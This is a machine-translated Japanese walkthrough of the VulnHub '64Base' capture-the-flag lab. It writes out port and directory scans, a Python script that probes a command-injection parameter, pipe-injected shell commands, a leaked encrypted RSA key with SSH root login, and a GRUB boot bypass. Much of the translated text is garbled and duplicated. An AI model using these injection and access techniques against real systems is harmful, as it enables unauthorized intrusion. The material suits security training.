
最近、 VulnHubは64Base Boot2Rootと呼ばれる新しい仮想イメージを公開しました。 記事と同様に、タスクは初心者向けに設計されています。 そのため、いずれかのソリューションが単純すぎると思われる場合でも驚かないでください。
始めましょう
説明では、フラグの数とその形式を確認します。
収集するフラグは6つあります。 それぞれflag1 {ZXhhbXBsZSBmbGFnCg ==}の形式で帝国を破り、手遅れになる前にデススターの計画を盗みます。
イメージをダウンロードし、設定をインポートし、仮想マシンのプロパティを開き、[ネットワーク]セクションで、ネットワークブリッジをアダプターに設定し、保存、実行します。 そして、nmapを使用して仮想マシンを探しています。
sudo nmap -A 192.168.1.1-255 -p1-65535
次の結論が得られます。
Starting Nmap 7.01 ( https://nmap.org ) at 2016-12-12 22:13 MSK Nmap scan report for 192.168.1.2 Host is up (0.0040s latency). Not shown: 997 closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http Apache httpd 2.4.10 ((Debian)) 4899/tcp open radmin 62964/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0) MAC Address: 08:00:27:68:E7:F8 (Oracle VirtualBox virtual NIC)
4つのポートのうち2つが正常に検出されました-これらは80および62964で、2つのポートはnmapによって検出されませんでした。 しかし、それらについては後で。
flag1
アドレス192.168.1.2:80に移動し、メインページに移動します。

碑文が目を引くもの: dmlldyBzb3VyY2UgO0QK
Base64からこれをデコードし、ヒントを取得します: ソースを表示; D
では、ページコードを見てください。この碑文の横にコメントがあります。
<div class="site-heading"> <h1>64base</h1> <hr class="small"> <span class="subheading">dmlldyBzb3VyY2UgO0QK</span> <!--5a6d78685a7a4637546d705361566c59546d785062464a7654587056656c464953587055616b4a56576b644752574e7151586853534842575555684b6246524551586454656b5a77596d316a4d454e6e5054313943673d3d0a--> </div>
HEX-> ASCII-> Base64-> ASCIIに変換した後
最初のフラグを取得します。
flag1 {NjRiYXNlOlRoMzUzQHIzTjBUZGFEcjAxRHpVQHJlTDAwSzFpbmc0Cg ==}
フラグをbase64からASCIIに変換しようとすると、資格情報を取得できます
64base:Th353 @ r3N0TdaDr01DzU @ reL00K1ing4
flag2
そして、ユーザー名と想定されるパスワードがあります。 利用可能なファイルとディレクトリを探しています:
sudo dirsearch -r -u http://192.168.1.2 -e php,txt,bak -w /usr/share/dirb/wordlists/big.txt -f -x 301,403

基本認証/管理者のページが見つかりました。 最後のフラグで見つかった資格情報が適合しませんでした。 sshでは、接続できませんでした。 どうやら何かが失われたようです。 短い検索の後、サイトの単語を別の辞書に解析することにしました。 Pythonスクリプトはこれを助けました:
非表示のテキスト
見つかったページごとに実行してみましょう。
ディレクトリ検索を再度実行します。
#!/usr/bin/python3 import re import requests import sys def repl(txt): txt = txt.replace('<!', ' ').replace('>', ' ').replace('</', ' ').replace('\n', ' ').replace('<', ' ').replace('"', ' ').replace('=', ' ').replace(':', ' ').replace('--', ' ').replace('/', ' ').replace("'", " ").replace('©', ' ').replace(',', ' ').replace('#', ' ').replace('→a', ' ').replace('?', ' ').replace('.', ' ').replace(';', ' ').replace('(', ' ').replace(')', ' ').replace('{', ' ').replace('}', ' ') return txt.strip() words = [] url = sys.argv[1] req = requests.get(url).text.splitlines() for item in req: item = repl(item) tmp = [x.strip() for x in item.split(' ') if x.strip() != ''] for word in tmp: if word not in words: words.append(word) w = open(sys.argv[2], 'w') for x in words: w.write('%s\n' %(x)) w.close()
見つかったページごとに実行してみましょう。
./parser.py http://192.168.1.2/index.html index ./parser.py http://192.168.1.2/about.html about ./parser.py http://192.168.1.2/post.html post ./parser.py http://192.168.1.2/contact.html contact cat index about post contact | sort -u > words.lst
ディレクトリ検索を再度実行します。
sudo dirsearch -u http://192.168.1.2/ -r -f -w words.lst -e php,txt,json,bak -x 301

別の興味深いディレクトリが見つかりました。 robots.txtファイルを見ると、エントリが見つかります。
禁止:/インペリアル級/
どうやらこれは著者のジョークの1つであり、説明で言及されていました。 移行時に承認が要求され、以前に受け取ったユーザー名とパスワードを入力すると、ログインできます!
しかし、早く喜び、私たちはメッセージに迎えられました。
[]エラー:パスが正しくありません!..暗い側へ!
Imperial-Classのサイトを検索すると、次のフレーズが見つかります。
あなたが本当のインペリアルクラスのバウンティハンターである場合にのみ応答
うーん、アドレス192.168.1.2/Imperial-Class/BountyHunterにアクセスしようとすると、次の認証ページに移動します。

ソースコードを見ると、次のことがわかります。
別のコード化されたフラグ
<body bgcolor=#000000><font color=#cfbf00> <form name="login-form" id="login-form" method="post" action="./login.php"> <fieldset> <legend>Please login:</legend> <dl> <dt> <label title="Username">Username: <input tabindex="1" accesskey="u" name="function" type="text" maxlength="50" id="5a6d78685a7a4a37595568534d474e4954545a4d65546b7a5a444e6a645756" /> </label> </dt> </dl> <dl> <dt> <label title="Password">Password: <input tabindex="2" accesskey="p" name="command" type="password" maxlength="15" id="584f54466b53465a70576c4d31616d49794d485a6b4d6b597757544a6e4c32" /> </label> </dt> </dl> <dl> <dt> <label title="Submit"> <input tabindex="3" accesskey="l" type="submit" name="cmdlogin" value="Login" /> <!-- basictoken=52714d544a54626d51315a45566157464655614446525557383966516f3d0a --> </label> </dt> </dl> </fieldset> </form>
組み合わせ、HEXを変換-> TEXT-> Base64-> TEXT、2番目のフラグを取得します。
flag2 {aHR0cHM6Ly93d3cueW91dHViZS5jb20vd2F0Y2g / dj12Snd5dEZXQTh1QQo =}
今回は、 YouTubeリンクがヒントではなくフラグにエンコードされます
flag3
許可フォーム192.168.1.2/Imperial-Class/BountyHunter/index.phpがあります。いくつかのオプションを試した後、 login.phpにPOSTリクエストを送信すると、エラーなしでindex.phpにリダイレクトされます。 。
curlを使用したリダイレクトプロセスを詳しく見てみましょう。
curl http://192.168.1.2/Imperial-Class/BountyHunter/login.php -H 'Authorization: Basic NjRiYXNlOlRoMzUzQHIzTjBUZGFEcjAxRHpVQHJlTDAwSzFpbmc0'
驚きに応えて、次のフラグを受け取りました。
flag3 {NTNjcjN0NWgzNzcvSW1wZXJpYWwtQ2xhc3MvQm91bnR5SHVudGVyL2xvZ2
luLnBocD9mPWV4ZWMmYz1pZAo =}
そして、その中にエンコードされた新しいツールチップ:
53cr3t5h377 / Imperial-Class / BountyHunter / login.php?F = exec&c = id
flag4
前のフラグのヒントを使用して、アドレス192.168.1.2/Imperial-Class/BountyHunter/login.php?f=exec&c=idに移動します

うーん、 post.htmlページから写真を覚えておいてください
写真

EXECをSYSTEMに置き換えます: 192.168.1.2/Imperial-Class/BountyHunter/login.php?f= system& c=idそして、新しいフラグ、ヒント、仮想マシンのシェルを取得します。

flag4 {NjRiYXNlOjY0YmFzZTVoMzc3Cg ==}
ツールチップで、新しい認証情報を検索します: 64base:64base5h377
flag5
見つかったシェルの可能性を少し調べたところ、実行可能なコマンドのリストが非常に限られており、さらにスラッシュのフィルターがあることが明らかになりました。 それらのどれが私たちに利用可能かを決定することは残っています。
利用可能なコマンドを反復処理する辞書を作成します。
for item in $(ls /usr/sbin/ && ls /usr/bin/ && ls /sbin/ && ls /bin/); do echo $item >> /tmp/unix_command2.lst; done sort -u /tmp/unix_command2.lst > unix_command.lst
次に、この辞書をPythonスクリプトにフィードします。
コード
#!/usr/bin/python import requests import sys, re url = 'http://192.168.1.2/Imperial-Class/BountyHunter/login.php' param = {'f':'system', 'c':''} basic = ('64base', 'Th353@r3N0TdaDr01DzU@reL00K1ing4') if len(sys.argv) == 1: print('Usage: brute_sh.py [wordlist]') sys.exit(0) words = open(sys.argv[1], 'r').read().splitlines() for item in words: param['c'] = '%s --help' %(item) req = requests.get(url, params=param, auth=basic) if len(req.text.splitlines()) > 9: print('Found cmd: %s' %(item))
そして、次の結論が得られます。
見つかったコマンド:base64
見つかったコマンド:cat
見つかったコマンド:id
見つかったコマンド:見つける
見つかったコマンド:ls
見つかったコマンド:nc
見つかったコマンド:ps
見つかったコマンド:w
見つかったコマンド:wget
見つかったコマンド:who
見つかったコマンド:whoami
ただし、シンボル|をフィルター処理しないため、それほど多くはありません。 その後、チームの最初にそれを代用すると、いずれかを実行する機会が得られます。 渡されたパラメーターで遊んだこと
次のリクエストを受け取ります:
|locate admin|grep html|xargs find
PSここと以下では、引数cに渡す必要のあるコマンドを直接示します。
出力は次のようになります。
/ var / www / html / admin
/var/www/html/admin/index.php
/ var / www / html / admin / S3cR37
/ var / www / html / admin / S3cR37 / flag5 {TG9vayBJbnNpZGUhIDpECg ==}
/var/www/html/admin/.htaccess
/var/www/html/admin/.htaccess
/var/www/html/admin/index.php
旗が見つかったので、新しい手がかり: Look Inside! :D
flag6
このファイルの内部を確認するように求められます。 それではやってみましょう:
# |locate admin|grep html|xargs find|grep TG|xargs cp -t . # |ls|grep TG|xargs chmod 777
ブラウザで開くと、ファイルは写真であることがわかりました。

exiftoolを実行して、この画像のメタデータを確認します。
非表示のテキスト
ExifToolバージョン番号:9.46
ファイル名:flag5 {TG9vayBJbnNpZGUhIDpECg ==}。Jpeg
ディレクトリ:。
ファイルサイズ:192 kB
ファイル変更日時:2016:12:16 05:32:02 + 03:00
ファイルアクセス日時:2016:12:16 05:32:08 + 03:00
ファイルiノードの変更日時:2016:12:16 05:32:02 + 03:00
ファイル許可:rw -------
ファイルの種類:JPEG
MIMEタイプ:image / jpeg
JFIFバージョン:1.01
解像度単位:インチ
X解像度:72
Y解像度:72
コメント:
画像の幅:960
画像の高さ:720
エンコーディングプロセス:ベースラインDCT、ハフマンコーディング
サンプルあたりのビット数:8
色成分:3
Y Cb Crサブサンプリング:YCbCr4:4:4(1 1)
画像サイズ:960x720
ファイル名:flag5 {TG9vayBJbnNpZGUhIDpECg ==}。Jpeg
ディレクトリ:。
ファイルサイズ:192 kB
ファイル変更日時:2016:12:16 05:32:02 + 03:00
ファイルアクセス日時:2016:12:16 05:32:08 + 03:00
ファイルiノードの変更日時:2016:12:16 05:32:02 + 03:00
ファイル許可:rw -------
ファイルの種類:JPEG
MIMEタイプ:image / jpeg
JFIFバージョン:1.01
解像度単位:インチ
X解像度:72
Y解像度:72
コメント:
画像の幅:960
画像の高さ:720
エンコーディングプロセス:ベースラインDCT、ハフマンコーディング
サンプルあたりのビット数:8
色成分:3
Y Cb Crサブサンプリング:YCbCr4:4:4(1 1)
画像サイズ:960x720
[ コメント]フィールドの内容をコピーし、前のフラグと同じ変換を実行します。 途中で、フラグの代わりに、秘密のRSAキーが与えられました。
非表示のテキスト
----- RSAプライベートキーの開始-----
Proc-Type:4、暗号化済み
DEK-Info:AES-128-CBC、621A38AAD4E9FAA3657CA3888D9B356C
mDtRxIwh40RSNAs2 + lNRHvS9yhM + eaxxU5yrGPCkrbQW / RgPP + RGJBz9VrTkvYw6
YcOuYeZMjs4fIPn7FZyJgxGHhSxQoxVn9kDkwnsMNDirtcoCOk9RDAG5ex9x4TMz
8IlDBQq5i9Yzj9vPfzeBDZdIz9Dw2gn2SaEgu5zel + 6HGObF8Zh3MIchy8s1XrE0
kvLKI252mzWw4kbSs9 + QaWyh34k8JIVzuc1QCybz5WoU5Y56G6q1Rds0bcVqLUse
MSzKk3mKaWAyLXlo7LnmqqUFKHndBE1ShPVVi4b0GyFILOOvtmvFb4 + zhu6jOWYH
k2hdCHNSt + iggy9hh3jaEgUnSPZuE7NJwDYa7eSDagL17XKpkm2YiBVrUXxVMnob
wXRf5BcGKU97xdorV2Tq + h9KSlZe799trTrFGNe05vxDrij5Ut2KcQx + 98K8KpWL
guJPRPKGijo96HDGc3L5YsxObVg + / fj0AvsKfrcV / lxaW + Imymc1MXiJMbmCzlDw
TAWmaqkRFDyA1HUvtvSeVqS1 / HjhDw9d4KsvsjkjvyeQTssfsdGcU0hDkXwRWssd
2d3G + Njm1R5ZLNgRlNpVGjhKC4AsfXS3J0z2t3BPM9ZOBMBe9Dx8zm5xFY9zWtrv
AGpr0Bh8KQwmpjQUc1afsqaQX0UHNLXT1ZOWKjg4SA3XC9dCEyFq0SIxQjO9LGCG
4Q5ncfUhmvtqyutCll2dXPsXVDe4eoD1CkvJNDY3KPW + GkN9L + 9CPy8 + DNunFIwx
+ T ++ 7Qg / uPXKq4M61IQ8034UhuRWS4TqP9azX3CG9LyoiB6VbKOeDwN8ailLKZBs
fY9Q6AM1sylizH1nnxKOtZQWurxjGJBIs62telMkas9yNMk3Lu7qRH6swO9sdTBi
+ j0x4uDZjJcgMXxfb0w5A64lYFsMRzFj7Xdfy19 + Me8JEhQ8KNXDwQKDyULFOTsz
13VfBNxYsyL5zGXNzyqZ4I / OO7Med2j0Gz0g21iHA / 06mrs2clds6SUBGEvn8NiV
rSrH6vEs4Szg0x8ddGvQ0qW1vMkTRu3Oy / e10F745xDMATKRlKZ6rYHMCxJ3Icnt
Ez0OMXYdC6CiF / IWtgdU + hKyvs4sFtCBclSagmDTJ2kZdu4RRwYVV6oINz9bpOvE
Rx3HUqfnKShruzM9ZkiIkuSfRtfiMvbTzffJTS4c48CO5X / ReF / AaMxkbSdEOFsI
Fv9Xdi9SdNuxGHE2G4HvJdIprFUrVSpSI80wgrb245sw6gToitZ90hJ4nJ5ay7AG
Yiaa5o7877 / fw6YZ / 2U3ADdiSOBm + hjV2JVxroyUXbG5dfl3m8Gvf71J62FHq8vj
qJanSk8175z0bjrXWdLG3DSlIJislPW + yDaf7YBVYwWR + TA1kC6ieIA5tU3pn / I3
64Z5mpC + wqfTxGgeCsgIk9vSn2p / eetdI3fQW8WXERbDet1ULHPqtIi7SZbj8v + P
fnHLQvEwIs + Bf1CpK1AkZeUMREQkBhDi72HFbw2G / zqti / YdnqxAyl6LZzIeQn8t
/ Gj4karJ1iM9If39dM5OaCVZR / TOBVaR8mrP7VtJor9jeH2tEL0toEqWB1PK0uXP
----- RSAプライベートキーの終了-----
Proc-Type:4、暗号化済み
DEK-Info:AES-128-CBC、621A38AAD4E9FAA3657CA3888D9B356C
mDtRxIwh40RSNAs2 + lNRHvS9yhM + eaxxU5yrGPCkrbQW / RgPP + RGJBz9VrTkvYw6
YcOuYeZMjs4fIPn7FZyJgxGHhSxQoxVn9kDkwnsMNDirtcoCOk9RDAG5ex9x4TMz
8IlDBQq5i9Yzj9vPfzeBDZdIz9Dw2gn2SaEgu5zel + 6HGObF8Zh3MIchy8s1XrE0
kvLKI252mzWw4kbSs9 + QaWyh34k8JIVzuc1QCybz5WoU5Y56G6q1Rds0bcVqLUse
MSzKk3mKaWAyLXlo7LnmqqUFKHndBE1ShPVVi4b0GyFILOOvtmvFb4 + zhu6jOWYH
k2hdCHNSt + iggy9hh3jaEgUnSPZuE7NJwDYa7eSDagL17XKpkm2YiBVrUXxVMnob
wXRf5BcGKU97xdorV2Tq + h9KSlZe799trTrFGNe05vxDrij5Ut2KcQx + 98K8KpWL
guJPRPKGijo96HDGc3L5YsxObVg + / fj0AvsKfrcV / lxaW + Imymc1MXiJMbmCzlDw
TAWmaqkRFDyA1HUvtvSeVqS1 / HjhDw9d4KsvsjkjvyeQTssfsdGcU0hDkXwRWssd
2d3G + Njm1R5ZLNgRlNpVGjhKC4AsfXS3J0z2t3BPM9ZOBMBe9Dx8zm5xFY9zWtrv
AGpr0Bh8KQwmpjQUc1afsqaQX0UHNLXT1ZOWKjg4SA3XC9dCEyFq0SIxQjO9LGCG
4Q5ncfUhmvtqyutCll2dXPsXVDe4eoD1CkvJNDY3KPW + GkN9L + 9CPy8 + DNunFIwx
+ T ++ 7Qg / uPXKq4M61IQ8034UhuRWS4TqP9azX3CG9LyoiB6VbKOeDwN8ailLKZBs
fY9Q6AM1sylizH1nnxKOtZQWurxjGJBIs62telMkas9yNMk3Lu7qRH6swO9sdTBi
+ j0x4uDZjJcgMXxfb0w5A64lYFsMRzFj7Xdfy19 + Me8JEhQ8KNXDwQKDyULFOTsz
13VfBNxYsyL5zGXNzyqZ4I / OO7Med2j0Gz0g21iHA / 06mrs2clds6SUBGEvn8NiV
rSrH6vEs4Szg0x8ddGvQ0qW1vMkTRu3Oy / e10F745xDMATKRlKZ6rYHMCxJ3Icnt
Ez0OMXYdC6CiF / IWtgdU + hKyvs4sFtCBclSagmDTJ2kZdu4RRwYVV6oINz9bpOvE
Rx3HUqfnKShruzM9ZkiIkuSfRtfiMvbTzffJTS4c48CO5X / ReF / AaMxkbSdEOFsI
Fv9Xdi9SdNuxGHE2G4HvJdIprFUrVSpSI80wgrb245sw6gToitZ90hJ4nJ5ay7AG
Yiaa5o7877 / fw6YZ / 2U3ADdiSOBm + hjV2JVxroyUXbG5dfl3m8Gvf71J62FHq8vj
qJanSk8175z0bjrXWdLG3DSlIJislPW + yDaf7YBVYwWR + TA1kC6ieIA5tU3pn / I3
64Z5mpC + wqfTxGgeCsgIk9vSn2p / eetdI3fQW8WXERbDet1ULHPqtIi7SZbj8v + P
fnHLQvEwIs + Bf1CpK1AkZeUMREQkBhDi72HFbw2G / zqti / YdnqxAyl6LZzIeQn8t
/ Gj4karJ1iM9If39dM5OaCVZR / TOBVaR8mrP7VtJor9jeH2tEL0toEqWB1PK0uXP
----- RSAプライベートキーの終了-----
これを使用してssh経由で接続します
ssh root@192.168.1.2 -p 62964 -i key.rsa
簡単に推測できるように、パスワードは写真に記載されており、接続に成功すると最後のフラグが表示されます。
flag6 {NGU1NDZiMzI1YTQ0NTEzMjRlMzI0NTMxNTk1NDU1MzA0ZTU0NmI3YTRkNDQ1MTM1N
GU0NDRkN2E0ZDU0NWE2OTRlNDQ2YjMwNGQ3YTRkMzU0ZDdhNDkzMTRmNTQ1NTM0NGU
0NDZiMzM0ZTZhNTk3OTRlNDQ2MzdhNGY1NDVhNjg0ZTU0NmIzMTRlN2E2MzMzNGU3YTU5
MzA1OTdhNWE2YjRlN2E2NzdhNGQ1NDU5Nzg0ZDdhNDkzMTRlNmE0ZDM0NGU2YTQ5MzA0
ZTdhNTUzMjRlMzI0NTMyNGQ3YTYzMzU0ZDdhNTUzMzRmNTQ1NjY4NGU1NDYzMzA0ZTZhNj
M3YTRlNDQ0ZDMyNGU3YTRlNmI0ZDMyNTE3NzU5NTE2ZjNkMGEK}
コマンドがエンコードされる場所: base64 -d /var/local/.luke|less.real
そして、仮想マシンへのルートアクセス。 割り当て完了!
PSこのラボには、少なくとも1つの方法があります。
ダーティハック
イメージをVirtualBoxにロードした直後に、認証リクエストが表示されます。 ブート中にGRUBが使用されていることに気付く場合があります。そのため、リブートし、OS選択メニューが表示されるのを待って、ブートオプションを変更します。
ブートしてルートを取得します。 システムを見て回ると、サイトのディレクトリに移動します。
コマンドを実行することにより:
このディレクトリ内の要素の数を取得しますが、それらは443個でしたが、現時点ではadminディレクトリが必要です。 S3cR37フォルダーの内容を見ると、2番目のフラグが見つかります
ここで、このディレクトリとユーザー名へのパスワードハッシュを見つけることができます。
64base:$ apr1 $ SNPbKyA8 $ 0.2pIMdx4JVVA6jsX / Ru30
index.htmlファイルの内容を見て、最初のフラグを取得します。 コマンドを実行します:
そして3番目の旗を見つけます
同様に、5番目と6番目のフラグを見つけます。
さて、ファイル/var/www/html/Imperial-Class/BountyHunter/login.phpから4番目のフラグを抽出してデコードします。

ブートしてルートを取得します。 システムを見て回ると、サイトのディレクトリに移動します。
コマンドを実行することにより:
cd /var/www/html ls -l | wc -l
このディレクトリ内の要素の数を取得しますが、それらは443個でしたが、現時点ではadminディレクトリが必要です。 S3cR37フォルダーの内容を見ると、2番目のフラグが見つかります

ここで、このディレクトリとユーザー名へのパスワードハッシュを見つけることができます。
64base:$ apr1 $ SNPbKyA8 $ 0.2pIMdx4JVVA6jsX / Ru30

index.htmlファイルの内容を見て、最初のフラグを取得します。 コマンドを実行します:
grep -r flag3 /var/www/
そして3番目の旗を見つけます

同様に、5番目と6番目のフラグを見つけます。
root@64base:~# find /var/www/html/ -name flag*
/ var / www / html / admin / S3cR37 / flag5 {TG9vayBJbnNpZGUhIDpECg ==}
root@64base:~# grep -r flag6 /
/root/.profile:echo«FLAG6フラグ(90Hコマンド){NGU1NDZiMzI1YTQ0NTEzMjRlMzI0NTMxNTk1NDU1MzA0ZTU0NmI3YTRkNDQ1MTM1NGU0NDRkN2E0ZDU0NWE2OTRlNDQ2YjMwNGQ3YTRkMzU0ZDdhNDkzMTRmNTQ1NTM0NGU0NDZiMzM0ZTZhNTk3OTRlNDQ2MzdhNGY1NDVhNjg0ZTU0NmIzMTRlN2E2MzMzNGU3YTU5MzA1OTdhNWE2YjRlN2E2NzdhNGQ1NDU5Nzg0ZDdhNDkzMTRlNmE0ZDM0NGU2YTQ5MzA0ZTdhNTUzMjRlMzI0NTMyNGQ3YTYzMzU0ZDdhNTUzMzRmNTQ1NjY4NGU1NDYzMzA0ZTZhNjM3YTRlNDQ0ZDMyNGU3YTRlNmI0ZDMyNTE3NzU5NTE2ZjNkMGEK}»
さて、ファイル/var/www/html/Imperial-Class/BountyHunter/login.phpから4番目のフラグを抽出してデコードします。
$ _U = BASE64_DECODE( 'ZWNobyAnPGg0PmZsYWc0e05qUmlZWE5sT2pZMFltRnpaVFZvTXpjM0NnPT19PC9oND4nO2NhdC5yZWFsIC9ldGMvaXNzdWU7ZGF0ZTt1bmFtZSAtYTsvc2Jpbi9pZmNvbmZpZyBldGgwfC91c3Ivc2hhcmUvZ3JlcC5yZWFsIGluZXQ7ZWNobwo =')。 " '。$ _ s;